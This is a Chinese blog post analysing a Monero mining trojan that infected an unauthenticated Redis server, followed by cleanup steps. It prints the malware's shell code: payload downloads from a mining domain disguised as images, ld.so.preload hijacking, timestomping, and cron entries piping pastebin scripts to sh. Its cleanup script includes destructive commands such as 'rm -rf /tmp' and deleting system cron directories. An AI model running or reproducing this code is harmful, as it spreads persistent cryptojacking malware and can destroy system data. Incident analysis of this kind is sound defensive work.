背景
最近由於在弄springboot shiro的redis session共享的問題,所以在服務器上部署了redis,因為沒有太多的考慮所以沒有設置密碼。
等到第二天的時候,發現redis外網無法訪問內網可以。
查看端口綁定情況 netstat -antlp | grep 6379 發現綁定沒有問題

查看本地的路由,發現綁定到了127.0.0.1

發現綁定問題之后,就增加一條路由規則
iptables -I INPUT -p tcp --dport 6379 -j ACCEPT
病毒代碼
function tables() { iptables -I INPUT -p TCP --dport 6379 -j REJECT iptables -I INPUT -s 127.0.0.1 -p tcp --dport 6379 -j ACCEPT iptables-save touch /tmp/.tables }
增加了之后終於外網能訪問了,利用RedisDesktopManager 再次連接后,發現內容里面多了兩條定時任務,感覺很奇怪也沒在意,以為不是很大的問題,反正能用也沒在意。
終於第三天redis又不能訪問了,而且又增加了一條本地端口映射的路由規則。
感覺上服務器有一些問題,馬上看了下 服務器ssh登入的 authorized_keys文件,發現里面內容key增加了不少。
於是進行百度查詢相關的問題,根據描述基本可以確定中了挖礦木馬。
查看服務器的定時任務 crontab -l 始終會有一條定時任務,采用命令crontab -r 進行刪除,1分鍾后又會自動生成
原理
采用定時任務腳本下載對應的執行程序,並將對應的程序命名成為 libdns.so
下面為部分的定時任務代碼
function top() { mkdir -p /usr/local/lib/ if [ ! -f "/usr/local/lib/libdns.so" ]; then curl -fsSL --connect-timeout 120 https://master.minerxmr.ru/y/1539580368x-1566688371.jpg -o /usr/local/lib/libdns.so && chmod 755 /usr/local/lib/libdns.so if [ ! -f "/usr/local/lib/libdns.so" ]; then wget https://master.minerxmr.ru/y/1539580368x-1566688371.jpg -O /usr/local/lib/libdns.so && chmod 755 /usr/local/lib/libdns.so fi fi echo /usr/local/lib/libdns.so > /etc/ld.so.preload touch -acmr /bin/sh /etc/ld.so.preload touch -acmr /bin/sh /usr/local/lib/libdns.so }
簡單點理解,只要你的定時任務不刪除,對應的程序就會下載,就會往本地電腦中添加定時任務
定時任務路徑
function echocron() { echo -e "*/10 * * * * root (curl -fsSL https://pastebin.com/raw/1NtRkBc3||wget -q -O- https://pastebin.com/raw/1NtRkBc3)|sh\n##" > /etc/cron.d/root echo -e "*/17 * * * * root (curl -fsSL https://pastebin.com/raw/1NtRkBc3||wget -q -O- https://pastebin.com/raw/1NtRkBc3)|sh\n##" > /etc/cron.d/apache echo -e "*/23 * * * * (curl -fsSL https://pastebin.com/raw/1NtRkBc3||wget -q -O- https://pastebin.com/raw/1NtRkBc3)|sh\n##" > /var/spool/cron/root mkdir -p /var/spool/cron/crontabs echo -e "*/31 * * * * (curl -fsSL https://pastebin.com/raw/1NtRkBc3||wget -q -O- https://pastebin.com/raw/1NtRkBc3)|sh\n##" > /var/spool/cron/crontabs/root mkdir -p /etc/cron.hourly curl -fsSL https://pastebin.com/raw/1NtRkBc3 -o /etc/cron.hourly/oanacroner && chmod 755 /etc/cron.hourly/oanacroner if [ ! -f "/etc/cron.hourly/oanacroner" ]; then wget https://pastebin.com/raw/1NtRkBc3 -O /etc/cron.hourly/oanacroner && chmod 755 /etc/cron.hourly/oanacroner fi mkdir -p /etc/cron.daily curl -fsSL https://pastebin.com/raw/1NtRkBc3 -o /etc/cron.daily/oanacroner && chmod 755 /etc/cron.daily/oanacroner if [ ! -f "/etc/cron.daily/oanacroner" ]; then wget https://pastebin.com/raw/1NtRkBc3 -O /etc/cron.daily/oanacroner && chmod 755 /etc/cron.daily/oanacroner fi mkdir -p /etc/cron.monthly curl -fsSL https://pastebin.com/raw/1NtRkBc3 -o /etc/cron.monthly/oanacroner && chmod 755 /etc/cron.monthly/oanacroner if [ ! -f "/etc/cron.monthly/oanacroner" ]; then wget https://pastebin.com/raw/1NtRkBc3 -O /etc/cron.monthly/oanacroner && chmod 755 /etc/cron.monthly/oanacroner fi touch -acmr /bin/sh /var/spool/cron/root touch -acmr /bin/sh /var/spool/cron/crontabs/root touch -acmr /bin/sh /etc/cron.d/apache touch -acmr /bin/sh /etc/cron.d/root touch -acmr /bin/sh /etc/cron.hourly/oanacroner touch -acmr /bin/sh /etc/cron.daily/oanacroner touch -acmr /bin/sh /etc/cron.monthly/oanacroner }
病毒程序代碼
function downloadrunxm() { mkdir -p /var/tmp chmod 1777 /var/tmp pm=$(netstat -an | grep :56415 | wc -l) if [ ${pm} -eq 0 ];then rm -rf /var/tmp/config.json* curl -fsSL --connect-timeout 120 https://master.minerxmr.ru/y/1539581805x1822611359.jpg -o /var/tmp/config.json && chmod +x /var/tmp/config.json if [ ! -f "/var/tmp/config.json" ]; then wget https://master.minerxmr.ru/y/1539581805x1822611359.jpg -O /var/tmp/config.json && chmod +x /var/tmp/config.json fi ARCH=$(uname -i) if [ "$ARCH" == "x86_64" ]; then rm -rf /var/tmp/kworkerds* curl -fsSL --connect-timeout 120 https://master.minerxmr.ru/y/1539592750x-1566688347.jpg -o /var/tmp/kworkerds && chmod +x /var/tmp/kworkerds if [ ! -f "/var/tmp/kworkerds" ]; then wget https://master.minerxmr.ru/y/1539592750x-1566688347.jpg -O /bin/kworkerds && chmod +x /var/tmp/kworkerds fi nohup /var/tmp/kworkerds >/dev/null 2>&1 & elif [ "$ARCH" == "i386" ]; then rm -rf /var/tmp/kworkerds* curl -fsSL --connect-timeout 120 https://master.minerxmr.ru/y/1537410750x-1566657908.jpg -o /var/tmp/kworkerds && chmod +x /var/tmp/kworkerds if [ ! -f "/var/tmp/kworkerds" ]; then wget https://master.minerxmr.ru/y/1537410750x-1566657908.jpg -O /bin/kworkerds && chmod +x /var/tmp/kworkerds fi nohup /var/tmp/kworkerds >/dev/null 2>&1 & else rm -rf /var/tmp/kworkerds* curl -fsSL --connect-timeout 120 https://master.minerxmr.ru/y/1537410304x-1404764882.jpg -o /var/tmp/kworkerds && chmod +x /var/tmp/kworkerds if [ ! -f "/var/tmp/kworkerds" ]; then wget https://master.minerxmr.ru/y/1537410304x-1404764882.jpg -O /bin/kworkerds && chmod +x /var/tmp/kworkerds fi nohup /var/tmp/kworkerds >/dev/null 2>&1 & fi fi }
解決方案
1.排查用戶是否增加。有增加進行刪除(該概率比較小)
2.排查登入免密登入文件是否修改。如果服務器采用 sshkey登入,排查文件authorized_keys 中的key是否有增加(原理 具體詳見 ssh 免秘鑰登入服務器),最好進行原秘鑰登入刪除,進行更新,順便可以考慮更換一下ssh端口(建議,純粹為了系統安全,更改方式,詳見百度)
3.查看所有定時任務執行腳本,明確本地的程序。定時任務查看 crontab -l 查看服務器定時任務,定人任務中包含 wget 網址后面跟了 sh(忘記截圖,只能描述一下),然后根據定時任務中的網址進行瀏覽器訪問,會得到一大串的亂碼,將亂碼復制,然后粘貼到Base64解碼工具中進行解碼,可以獲得 定時任務執行的命令。然后分析對應個的腳本內容。會查看到本地的執行程序 libudev.so ,也可以看到腳本中增加了6379增加了本地路由規則,查看到程序后 進行刪除,不刪除程序,則會不斷增加定時任務到 系統中。(因為已經處理,所以不能配圖了)
4.刪除定時任務。1) crontab -r 刪除任務 2) cd /etc/cron.d 刪除apache,及root(經查看本次中的內容跟網上的不太一樣,這幾個文件中均有定時任務,所以進行了刪除)
5.查看進行。top -c 查看占用cup很高的進程(因為已經刪除所有不能進行配圖),查看到kworkerds 進行,路徑在 /tmp下。 kill -9 pid 進行殺死進行,然后進行目錄下進行刪除內容

腳本
iptables -A INPUT -s xmr.crypto-pool.fr -j DROP
iptables -A OUTPUT -d xmr.crypto-pool.fr -j DROP
iptables -A INPUT -s pastebin.com -j DROP
iptables -A OUTPUT -d pastebin.com -j DROP
rm -rf /bin/dns crontab -r rm -rf /etc/cron.d rm -rf /etc/crontab rm -rf /usr/local/lib/libdns.so rm -rf /usr/local/lib/libdns.so rm -rf /etc/ld.so.preload rm -rf /tmp/.pythong rm -rf /var/spool/cron rm -rf /etc/cron.hourly rm -rf /etc/cron.daily rm -rf /etc/cron.monthly rm -rf /tmp/.tables rm -rf /etc/init.d/agentwatch rm -rf /usr/sbin/aliyun-service rm -rf /usr/local/aegis* killall kworkerds rm -rf /tmp/kworkerds rm -rf /var/tmp/config.json rm -rf /tmp
一段時間后發現 系統定時任務已經不會在增加,並且已經不純在高消耗cpu的進程了。
總結
1.該問題如果需要完全解決,必須好好查看對應的定時任務下載並執行的腳本,而且發現該問題並不是一成不變的,在處理問題的時候發現與百度上描述的還是有很大的區別。
2.給redis增加上安全控制(很重要)
轉載的話,請標明下出處 https://www.cnblogs.com/dyft/articles/9797664.html
